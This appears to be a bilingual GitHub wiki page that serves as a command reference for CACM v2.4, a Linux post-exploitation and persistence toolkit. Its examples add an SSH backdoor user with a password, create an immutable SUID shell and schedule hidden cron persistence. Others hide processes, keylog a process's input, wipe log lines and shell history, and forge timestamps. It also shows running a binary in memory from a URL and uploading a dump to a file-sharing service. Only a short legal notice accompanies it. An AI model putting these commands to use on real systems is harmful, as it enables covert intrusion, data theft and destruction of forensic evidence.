Skip to content

CACM 工具速查表 CACM Tools Reference Table

Copilot edited this page Apr 27, 2026 · 4 revisions

CACM 工具速查表 / CACM Tools Reference Table

基于 v2.4 代码(commands/ 目录)汇总,共 43 个命令模块 + 1 组别名(common)。
Generated from v2.4 source. Total: 43 commands + 1 alias group (common).


📋 命令完整对照表 / Complete Command Reference

命令 / Command 功能 / Function ATT&CK 示例 / Example
bin 下载常用静态二进制(含 P1soda、qscan 等)/ Download static binaries (incl. P1soda, qscan) T1105 bin list / bin get qscan
common 别名集合(ll/lt/lss/psg/lsg 等)/ Alias group T1083 psg sshd
ctime 将 ctime 同步为 mtime / Sync ctime to mtime T1070.006 ctime /tmp/a.txt
dec AES-256-GCM 解密文件或 stdin/stdout / Decrypt file or stdio T1027 HS_TOKEN=xxx dec a.enc a.txt
dl 多方式下载 URL(curl/wget/python/openssl/Go),支持 GitHub 代理 / Multi-method download T1071.001 dl https://x.com/f -g -o f
dns 多域名并发 DNS A 记录解析 / Concurrent DNS A resolution T1590.005 dns google.com github.com
edr 检测 EDR/AV/防火墙 / Detect EDR/AV/firewall T1518.001 edr scan -v -o edr.txt
enc AES-256-GCM 加密文件或 stdin/stdout / Encrypt file or stdio T1027 HS_TOKEN=xxx enc a.txt a.enc
find_subdomains 在文件中提取子域名 / Extract sub-domains from files T1083 find_subdomains target.com /var/log
hgrep 人性化 grep(高亮输出)/ Human-friendly grep T1083 hgrep password /etc
hide 隐藏/恢复进程(基于 /proc bind mount)/ Hide/unhide processes T1055 hide 1234 / hide list
historydel 列出/搜索/范围删除 shell 历史 / Manage shell history T1070.003 historydel delrange 10 20
jarspy Java 进程发现、JAR 提取、堆转储、反编译 / Java process & JAR analysis T1592.002 jarspy --list -o /tmp/jars
lpe 内存运行 linPEAS/winPEAS / Run linPEAS/winPEAS in-memory T1068 lpe --unsafe --timeout=30
memexec 内存加载执行(路径/URL/stdin)/ In-memory binary execution T1055 memexec https://x.com/elf arg
netspy ICMP/ARP/TCP/UDP 主机发现 / Host discovery T1018 netspy scan 192.168.1.0/24
notime 以参考文件时间戳执行命令 / Run command at reference file's mtime T1070.006 notime /etc/passwd touch /tmp/a
notime_cp 保留 a/m/c-time 复制 / Copy preserving all timestamps T1070.006 notime_cp /etc/passwd /tmp/p
np 中文友好的密钥/凭证扫描 / Secret scanner with CN support T1552.001 np /var/www -o leak.txt
portmux 端口复用(合法端口上触发后门)/ Port multiplexing with trigger T1090.001 portmux setup 80 1.2.3.4 4444 "X-CMD"
rdns 多公开数据库反向 DNS / Reverse DNS via public databases T1590.005 rdns 8.8.8.8 1.1.1.1
scan 端口扫描+服务/指纹识别(基于 gogo)/ Port scan & fingerprinting T1046 scan 10.0.0.0/24 -p 1-65535 -t 4000
searchall 全局秘密搜索(自定义正则、env、--exclude-ext)/ Filesystem-wide secret hunt T1552.001 searchall / --workers 8 --exclude-ext .log,.bak
shred 随机覆写后删除 / Overwrite & remove T1070.004 shred /tmp/x.log
ssh_backdoor SSH 后门用户(添加/隐藏/保护/公钥)/ SSH backdoor user lifecycle T1136.001 ssh_backdoor add bk pass123
sshmon SSH 流量监控/嗅探(带加密、隐蔽模式)/ SSH session sniffing T1040 sshmon start --encrypt
sub 通过 crt.sh / ip.thc.org 枚举子域 / Enumerate sub-domains T1590.005 sub example.com
suidshell 创建/删除 SUID Shell(支持 immutable/伪时间)/ Create SUID shell backdoor T1548.001 suidshell create --path=/tmp/.s --immutable
tit 监听进程 stdin/stdout(键盘记录)/ Sniff process stdin/stdout T1056.001 tit 12345 30
transfer 上传文件/目录到分享服务 / Upload to file-sharing services T1041 transfer dump.tar.gz --provider bashupload
wfind 查找可写目录 / Find writable directories T1083 wfind /var/www /home
ws 主机/服务器信息收集 / Server/host info collection T1082 ws 10.0.0.1:8080
xbounce TCP 端口转发/中继 / TCP forward proxy T1090.001 xbounce 8888 10.0.0.5 22
xcron 🆕 计划任务持久化(systemd timer / crontab 双后端)/ Cron persistence (systemd+cron) T1053.003 xcron add /tmp/.r --random 30m --bypass-crontab
xdocker Docker 容器/镜像发现与文件提取 / Docker container discovery T1613 xdocker search password
xghostip Ghost IP(虚拟 IP+iptables)/ Ghost IP via iptables T1090.003 GHOST_IP=10.0.0.1 xghostip start
xhome 隐蔽临时 HOME 工作目录 / Hidden temporary HOME T1564.001 xhome create --path=/tmp/.h
xlock 🆕 通用文件/目录加锁(chattr 包装)/ Generic file/directory lock (chattr wrapper) T1222.002 xlock /etc/passwd / xlock unlock /etc/passwd
xlog 删除日志中含模式的行 / 清理 systemd journal / Strip lines from logs T1070.003 xlog "pattern" /var/log/auth.log
xpty 列出当前终端/登录用户 / List PTYs / logged-in users T1033 xpty
xscp 静默 SCP(跳过 known_hosts、连接复用)/ Stealth SCP T1021.004 xscp /tmp/x user@h:/tmp/
xssh 静默 SSH(跳过 known_hosts、ControlMaster 复用)/ Stealth SSH T1021.004 xssh user@host 'id'
xsu 静默切换用户(无日志)/ Silent user switch (no log) T1134.001 xsu mysql /bin/bash
xtmux 隐藏 tmux 会话(不在 list-sessions 中显示)/ Hidden tmux sessions T1564.001 xtmux new -d -s hidden

🆕 = v2.4 新增 / new in v2.4


📚 功能分类 / Categories

🔍 信息收集 / Reconnaissance

scan · netspy · dns · rdns · sub · find_subdomains · ws · xpty · wfind · np · searchall · lpe · edr · jarspy · xdocker · hgrep

🌐 网络隐蔽 / Network Stealth

xghostip · xbounce · portmux · dl · transfer

🔁 远程访问 / Remote Access

xssh · xscp

🛡️ 权限维持 / Persistence

xcron · ssh_backdoor · suidshell

👤 权限提升 & 身份操纵 / Privilege Escalation

xsu · lpe · suidshell

🕵️ 隐蔽 & 反取证 / Stealth & Anti-Forensics

hide · xhome · xtmux · xlock · ctime · notime · notime_cp · shred · xlog · historydel

🧬 代码执行 / Execution

memexec

📡 数据采集 & 监控 / Data Collection

tit · sshmon

🔐 密码学 / Cryptography

enc · dec

📥 工具下载 / Tool Fetcher

bin(含 P1soda qscan linpeas pspy kubectl nuclei ffuf 等)


🔧 环境变量 / Environment Variables

变量 / Variable 用途 / Purpose
HS_TOKEN AES-256-GCM 加密密钥(enc / dec / 内部辅助)
CACM_HOME CACM 工作目录
GHOST_IP / GHOST_IP_WAN / GHOST_IP_LAN xghostip 虚拟 IP 配置
GHOST_NAME xghostip 进程名伪装
GHOST_IPT xghostip iptables 命令路径

🎚️ 全局选项 / Global Options

选项 说明
-c <command> 单命令模式(不进交互 Shell)
-h, --help 显示帮助
--no-color 全局禁色(v2.4 新增)

🔐 root 权限要求 / Commands Requiring Root

ctime · notime · xghostip · hide · xlog · portmux · xbounce · ssh_backdoor · suidshell · tit · xsu · xcron(systemd 后端) · xlock(chattr) · xdocker(或 docker 组)


⚠️ 合法使用 / Legal Notice

仅限授权的渗透测试与安全研究。使用前必须取得目标系统书面授权,遵守当地法律法规。
Authorized penetration testing & security research only. Obtain written authorization before use; comply with local laws.


CACM v2.4 (Come and catch me) – Linux Post-Exploitation & Persistence Toolkit